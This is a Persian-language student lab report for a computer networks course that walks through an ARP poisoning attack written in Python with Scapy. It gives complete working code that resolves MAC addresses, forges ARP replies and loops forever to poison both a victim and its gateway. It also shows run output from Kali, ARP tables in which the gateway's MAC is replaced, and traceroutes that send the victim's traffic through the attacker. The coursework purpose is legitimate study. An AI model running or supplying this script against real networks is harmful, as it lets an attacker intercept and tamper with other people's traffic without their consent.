آرش محرابی

تمرین چهارم آزمایشگاه شبکه‌های کامپیوتری

ARP Poisoning Attack

لینک کد در گیت هاب:
https://github.com/arash-mehrabi-z/computer-networks-lab/tree/main/arp_spoofer

مقدمه:
ARP Spoofing یک حمله است که هکر یک ARP نادرست را در شبکه می فرستد. هر node در شبکه یک ARP Table دارد که به وسیله آن IP و Mac دستگاه‌های متصل را پیدا می کند. هدف این حمله این است که با برودکست کردن ARP، بتوانیم IP هدف را پیدا کنیم و بعد با تغییر ARP Table در هدف و gateway کاری کنیم که اطلاعاتشان از ما بگذرد.
در این پیاده سازی، من از Scapy که یک کتابخانه پایتون است که برای کار با packet ها به کار می‌رود استفاده کرده ام.

پیاده سازی:

```
def get_mac(ip):
    arp_request = scapy.ARP(pdst = ip)
    broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
    return answered_list[0][1].hwsrc
```

در تابع get_mac، هر IP که به عنوان آرگومان داده شده استفاده می‌شود تا یک arp_request به وسیله تابع ARP درست شود. همچنین در تابع Ether، آدرس MAC را «ff:ff:ff:ff:ffff» می‌گذاریم تا برودکست کند. سپس این دو packet را به وسیله عملگر / در یک packet ادغام می کنیم.
تابع srp دو لیست از IP هایی را بر می گرداند که به درخواست ما جواب دادند و ندادند. آدرس MAC ای که به IP آن درخواست داده بودیم در فیلد hwsrc می باشد. ما این MAC آدرس را به هرجایی که این تابع را صدا زده بر می گردانیم.

حالا که آدرس مکی را که به دنبالش بودیم داریم، تابع spoof را چنین درست می کنیم:

```
def spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op = 2, pdst = target_ip, hwdst = get_mac(target_ip),
                                                        psrc = spoof_ip)
    scapy.send(packet, verbose = False)
```

این تابع دو پارامتر دارد. IP هدف و Spoofing IP. ما از تابع ARP استفاده می‌کنیم تا packet ای را تولید که کنیم که در نهایت ARP Table را در gateway و هدف تغییر می‌دهد و از تابع send استفاده می‌کنیم تا spoofing را شروع کنیم.

حالا ما تابع spoof را صدا می‌زنیم تا ARP Spoofing را شروع کنیم:

```
sent_packets_count = 0
while True:
    spoof(target_ip, gateway_ip)
    spoof(gateway_ip, target_ip)
    sent_packets_count = sent_packets_count + 2
    print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
    time.sleep(2) # Waits for two seconds
```

برای اینکه ARP Table هدف بعد از یک بار حمله خود به خود تصحیح نشود، تابع spoof را داخل حلقه بی نهایت می‌اندازیم تا همیشه تکرار نشود.

بعد از اجرای برنامه با دستور:

```
root@kali:~/PycharmProjects/Arp_Spoofer# python3 arp_spoof.py
[*] Packets Sent 16
```

در این مثال می‌بینیم که:

```
C:\Users\IEUser>arp -a

Interface: 10.0.2.5 --- 0xa
  Internet Address      Physical Address      Type
  10.0.2.1              52-54-00-12-35-00     dynamic
  10.0.2.3              08-00-27-86-85-37     dynamic
  10.0.2.255            ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

C:\Users\IEUser>arp -a

Interface: 10.0.2.5 --- 0xa
  Internet Address      Physical Address      Type
  10.0.2.1              08-00-27-89-03-db     dynamic
  10.0.2.3              08-00-27-86-85-37     dynamic
  10.0.2.15             08-00-27-89-03-db     dynamic
  10.0.2.255            ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static
```

مک آدرس gateway (با IP = 10.0.2.1) به مک آدرس spoofer ما تغییر کرده و حمله موفقیت آمیز بوده است.

جزئیات فنی بیشتر:
در مثال دیگر، اگر از ماشین هدف به یک سایتی traceroute کنیم می‌بینیم که router اولی که در این مسیر قرار دارد مربوط به gateway است.

```
root@kali:~# traceroute google.com
traceroute to google.com (216.58.194.206), 30 hops max, 60 byte packets
 1  gateway (172.16.1.2)  0.125 ms  0.140 ms  0.094 ms
 2  * * *
 3  * * *
 4  * * *
 5  * * *
 6  * * *
 7  *^C
```

اما پس از اجرای کدی که آماده شده است می‌بینیم که:

```
root@kali:~# traceroute google.com
traceroute to google.com (216.58.194.206), 30 hops max, 60 byte packets
 1  * * *
 2  gateway (172.16.1.2)  0.208 ms  0.275 ms  0.247 ms
 3  * * *
 4  * * *
 5  * * *
 6  * * *
```

gateway روتر دومی است که در مسیر قرار گرفته و این بسته ابتدا از ماشین هکر می گذرد.